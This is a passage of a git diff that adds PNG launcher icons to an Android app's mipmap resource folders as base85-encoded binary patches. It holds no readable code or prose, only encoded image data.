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 Znsp6=8?^?dbcs~THls;!&#ggexId+@xBdVC literal 0 HcmV?d00001 diff --git a/app/src/main/res/mipmap-hdpi/ic_launcher.png b/app/src/main/res/mipmap-hdpi/ic_launcher.png new file mode 100644 index 0000000000000000000000000000000000000000..7c48ef629274cd79123cab8d837815bd98f8281e GIT binary patch literal 4720 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 D==H4R literal 0 HcmV?d00001 diff --git a/app/src/main/res/mipmap-xhdpi/ic_launcher.png b/app/src/main/res/mipmap-xhdpi/ic_launcher.png new file mode 100644 index 0000000000000000000000000000000000000000..96a1c2373d2db5af02c8246bd136c7bc51f6fe8e GIT binary patch literal 6948 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 